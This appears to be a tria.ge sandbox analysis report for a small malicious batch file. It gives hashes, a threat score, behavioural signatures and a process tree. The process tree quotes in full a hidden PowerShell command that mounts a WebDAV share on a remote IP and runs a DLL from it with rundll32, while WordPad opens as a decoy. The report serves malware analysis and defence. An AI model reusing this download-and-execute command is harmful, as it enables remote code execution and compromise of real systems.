Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
14/07/2024, 18:51
Static task
static1
Behavioral task
behavioral1
Sample
28410314442699218576.bat
Resource
win7-20240705-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
28410314442699218576.bat
Resource
win10v2004-20240709-en
8 signatures
150 seconds
General
-
Target
28410314442699218576.bat
-
Size
2KB
-
MD5
9b2b8e0c079b283d40b42a621ec7e4f3
-
SHA1
23c6e7d829f977c521171bb3fc8f38fe5e0707e3
-
SHA256
52768ed721cd41910dcb85ffe2f4a0b4d4983bbc819cd6983813336682369884
-
SHA512
67b554c92b72da3fa5e42acaae005f863a0eb94c29e875f340410ca0b84587a45f6d52bd080df28b51f3b19471b049922dc7aa25fd68e0c0af5ae669994e57ba
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2400 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2400 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2400 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2812 wordpad.exe 2812 wordpad.exe 2812 wordpad.exe 2812 wordpad.exe 2812 wordpad.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2452 wrote to memory of 2812 2452 cmd.exe 31 PID 2452 wrote to memory of 2812 2452 cmd.exe 31 PID 2452 wrote to memory of 2812 2452 cmd.exe 31 PID 2452 wrote to memory of 2400 2452 cmd.exe 32 PID 2452 wrote to memory of 2400 2452 cmd.exe 32 PID 2452 wrote to memory of 2400 2452 cmd.exe 32 PID 2400 wrote to memory of 2836 2400 powershell.exe 34 PID 2400 wrote to memory of 2836 2400 powershell.exe 34 PID 2400 wrote to memory of 2836 2400 powershell.exe 34 PID 2400 wrote to memory of 2872 2400 powershell.exe 35 PID 2400 wrote to memory of 2872 2400 powershell.exe 35 PID 2400 wrote to memory of 2872 2400 powershell.exe 35
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\28410314442699218576.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2812
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4215.dll,entry2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\3⤵PID:2836
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4215.dll entry3⤵PID:2872
-
-